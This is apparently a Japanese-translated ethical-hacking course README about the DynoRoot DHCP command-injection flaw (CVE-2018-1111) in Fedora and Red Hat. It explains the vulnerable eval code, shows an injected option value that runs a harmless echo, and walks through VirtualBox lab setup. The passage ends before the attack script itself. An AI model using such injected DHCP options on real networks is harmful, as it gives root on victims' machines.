
DynoRoot (CVE-2018-1111) を使用した DHCP の悪用
このプロジェクトは、Dynamic Host Configuration Protocol (DHCP) の安全でないクライアント側実装に関連する、FedoraおよびRedHatマシンの既知の脆弱性を示しています。悪意のあるDHCPサーバーは、被害者マシンのルートシェルで実行される悪意のあるペイロードを含むDHCPオファーを巧みに作成できます。
この脆弱性はFelix Wilhelmによって報告され、CVE-2018-1111または「DynoRoot」として知られています。
Dynamic Host Configuration Protocol (DHCP) は、ネットワークシステムにおいてしばしば見落とされがちなコンポーネントです。その役割は、既存のネットワークに接続するホストマシンの動的な設定を可能にすることです。最も一般的な使用例は、新しく接続されたホストにIPアドレスを割り当て、他のネットワークにアクセスするための既存のルートを通知することです。ローカルDNSサーバーのアドレスやそのサーバーが提供するゾーン、ブートファイルの場所など、追加のオプションを指定することもできます。
新しいホストがイーサネットや無線接続を介してネットワークに物理的に接続した後、ネットワークに参加しようとする際に従う4ウェイプロトコルを分析してみましょう。
DISCOVERメッセージをネットワークにブロードキャストします。OFFERで応答します。REQUESTで応答し、提供されたIPアドレスを正式にリースするよう要求します。ACKで交換を終了し、クライアントが指定された期間そのIPアドレスを使用することを許可します。初期交換後、クライアントは単に別のREQUESTメッセージを送信することでリースを更新できます。サーバーはクライアントのIPアドレスとMACアドレスによるリースの存在を確認し、ACKで応答します。
注意すべき点:
DISCOVERフェーズをスキップして直ちにアドレスをREQUESTすることもできます。これは、クライアントが以前にネットワークに接続しており以前のアドレスを覚えている場合によく見られます。この場合、サーバーはアドレスの可用性を確認し、リクエストをACKするか、リースが利用できない場合はNACKを送信します。RELEASEメッセージを送信してアドレスが利用可能になったことをサーバーに知らせることができます。ただし、これはプロトコルによって義務付けられておらず、サーバーは定期的に期限切れのリースを回収します。OFFERリースを提供できなくなります。OFFERを受け取った場合、1つだけを受け入れ、他のサーバーはブロードキャストされたREQUESTを観測してオファーを無効にします。脆弱性は、/etc/NetworkManager/dispatcher.d/11-dhclientにあり、これはクライアントがDHCP経由で受信したオプションを解析および設定するために実行されます。
declareはbashの組み込み関数で、引数なしで使用するとすべての宣言された変数をリストします。grepはすべてのDHCP関連変数をフィルタリングします。while read optはDHCP変数を1つずつ繰り返し処理し、いくつかの解析を行い、各オプションに対してexport new_optionname=valueのような行を出力します。evalによってシェルで評価されます。```bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### 通常の動作
通常、コードは問題なく動作し、新しいDHCPオプションを解析します。
例として、次のコード:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
これら2つの export 文を表示し、eval で評価します:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### コードインジェクション
しかし、安全でない `eval` のため、bashコマンドを注入することが可能です。```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
これにより、echo Hacked! が評価されます:```text
[1] 1541
Hacked!
### ソース
- [Exploit database エントリ](https://www.exploit-db.com/exploits/44890)
- [RedHat アナウンス](https://access.redhat.com/security/vulnerabilities/3442151)
- [Tenable ブログ記事](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [GitHub リポジトリ](https://github.com/kkirsche/CVE-2018-1111)
- [Twitter アナウンス](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## セットアップ
このエクスプロイトを実証するための最小限のセットアップは、`victim`マシン(Fedora 28 を実行)と`attacker`マシンの2台だけです。このセットアップでは、攻撃者はDHCPサービスを提供し、被害者の接続を待つだけで済みます。
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>最小限のエクスプロイトセットアップ。</figcaption>
</figure>
より現実的なセットアップでは、マシンをプライベートネットワーク上に配置し、3台目のマシンである`gateway`を、良性のDHCPサーバーとして、また外部インターネットへのゲートウェイとして設定します。このセットアップでは、攻撃者は攻撃を実行する前に、被害者が正規のDHCPサーバーに接続するのを防ぐ必要があります。
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>ゲートウェイマシンがDHCP、ルーター、ファイアウォールとして動作するプライベートネットワークのセットアップ。</figcaption>
</figure>
以下のセクションでは、次のことを行います。
1. VirtualBox をインストールします。
2. 3台の仮想マシンを作成します:`gateway`、`attacker`、`victim`
3. マシンにOSをインストールします (ユーザー、ネットワーク、SSHアクセス)
4. VirtualBox が提供する仮想内部ネットワーク用に、良性のDHCPサーバーをホストするようにゲートウェイを設定します。
5. 攻撃に必要なPythonの依存関係をインストールします。
手動セットアップをスキップして [すぐにアクションに飛び込む](#performing-the-attack) には、`ansible`フォルダ内の [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) スクリプトを実行することができます。このスクリプトは、[Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html) を使用して仮想マシンを(ほぼ)自動的に作成し、設定します。`setup.sh` を起動する前に、Ansible と VirtualBox がインストールされていることを確認してください。
### 前提条件
#### VirtualBox のインストール
以下の手順は、[公式インストールガイド](https://www.virtualbox.org/wiki/Downloads) からのものです。
次の行を `/etc/apt/sources.list` に追加します:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
virtualbox と extension pack をインストールしてください:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### Ansibleのインストール(オプション)
「[Ubuntu用公式ガイド](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu)」より:```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
このセクションでは、マシンにログインするために使用するSSH認証情報を作成します。 SSH設定ファイルにホストエントリを追加すると、後でタイピングを節約できます。
パスフレーズなしのSSHキーを作成します:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
SSH config (`~/.ssh/config`) に以下のエントリを追加してください:```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
このマシンは、内部ネットワーク上のアドレスプールを管理する良性のDHCPサーバーをホストしています。 Ubuntu Server 18.04 と ISC DHCP パッケージをベースにしています。
実際のシナリオでは、このマシンはネットワーク上のマシンと外部の間でルーター(iptables)およびファイアウォール(UFW Uncomplicated Firewall)としても機能します。また、一部の内部サービスのためにDNSサーバー(BIND9)をホストすることもあるでしょう。
ここではVirtualBoxのコマンドラインツールを使用して仮想マシンを作成します。これにより、プロセスを可能な限り迅速に繰り返すことができます。あるいは、同じ設定を入力してグラフィカルインターフェースからVMを作成することも可能です。
Ubuntu ISOをダウンロード:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF
- ネットワークインターフェース1:VirtualBoxのデフォルトNATネットワークに接続
- ネットワークインターフェース2:`intnet`内部ネットワークに接続\
(MACアドレスの「d」はDHCPを示します)
- ホストの`600x`ポートから仮想マシンのSSHポートへのポートフォワーディング```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
何か問題が発生した場合:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### OSインストール
初回起動時には、インストール手順を進めるために仮想デスクトップが必要です。仮想マシンをヘッドレスモードで起動し、`rdesktop-vrdp`を使用して接続できます。VirtualBoxがデスクトップコンピュータ上で動作している場合は、GUIから仮想マシンを起動する方が簡単かもしれませんが、この方法はリモートのVirtualBoxホストでも機能します。```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
インストーラーの設定パラメータ:
gatewaygatewaygat192.168.0.1(enp0s8)

インストール後、シャットダウンし、ISOを取り出してVRDEを無効化:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSHログイン
アクセスを容易にするために、上記で作成したSSHキーを`gateway`マシンにインストールできます。```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
何らかの理由でインストール中に enp0s8 ネットワークインターフェースが設定されなかった場合は、
この設定を /etc/netplan/00-installer-config.yaml に書き込んでください:```yaml
network:
version: 2
ethernets:
enp0s3:
dhcp4: yes
enp0s8:
dhcp4: no
addresses :
- 192.168.0.1/24
そして、ネットワーク設定を更新してください。```
sudo netplan apply
ip addr show dev enp0s8
ISC DHCPをインストール:```bash sudo apt install -y isc-dhcp-server
内部インターフェースでDHCPを有効にするために、`/etc/default/isc-dhcp-server`を編集しましょう:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
DHCPによって管理されるアドレスプールの設定は、/etc/dhcp/dhcpd.conf にあります:```
authoritative;
default-lease-time 60; max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.105; }
選択されたデフォルトのリース時間1分はかなり短いですが、デモンストレーション目的には有用です。
<!--```bash
echo '
authoritative;
default-lease-time 60;
max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.100 192.168.0.105;
option domain-name-servers 192.168.0.53;
option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
sudo systemctl restart isc-dhcp-server
--> サービスを再起動:```bash sudo systemctl restart isc-dhcp-server
DHCP イベントは `/var/log/syslog` に記録されます。
関連するエントリを強調表示するには、次のようにします:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
他のマシンのインストール中にgatewayをオンにしておけば、DHCP設定が自動的に取得されます。
攻撃マシンには特別な要件はなく、Conda環境でPythonを実行できる必要があります。 簡単のため、Ubuntu Server 18.04 のISOを再利用できます。
VMを作成:
intnet内部ネットワークに接続600xポートから仮想マシンのSSHポートへのポートフォワーディング```bash
VM_NAME="attacker"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:aa:aa:aa:aa'VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}"
--memory 2048
--acpi on
--boot1 dvd
--nic1 nat
--nic2 'intnet'
--macaddress2 "${VM_MAC//:/}"
--natpf1 "guestssh,tcp,,${SSH_PORT},,22"
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 0
--type hdd
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
#### OSインストール
初めてマシンを起動する際には、インストール手順を進めるために仮想デスクトップが必要です。仮想マシンをヘッドレスモードで起動し、`rdesktop-vrdp`を使用して接続できます。VirtualBoxがデスクトップコンピュータ上で動作している場合は、GUIから仮想マシンを起動する方が簡単かもしれませんが、この方法はリモートのVirtualBoxホストでも機能します。```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
インストーラの設定パラメータ:
attackerattackerattenp0s8 を DHCP を使用するように設定
インストール後、シャットダウンし、ISOを削除し、VRDEを無効にする:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSHログイン
アクセスを容易にするために、上記で作成したSSHキーを`attacker`マシンにインストールできます:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack
Pythonの攻撃スクリプトは、Scapyを使用して低レベルのネットワークパケットを作成するために、rootとして実行する必要があります。
簡略化のため、すべての依存関係をrootユーザーでインストールします。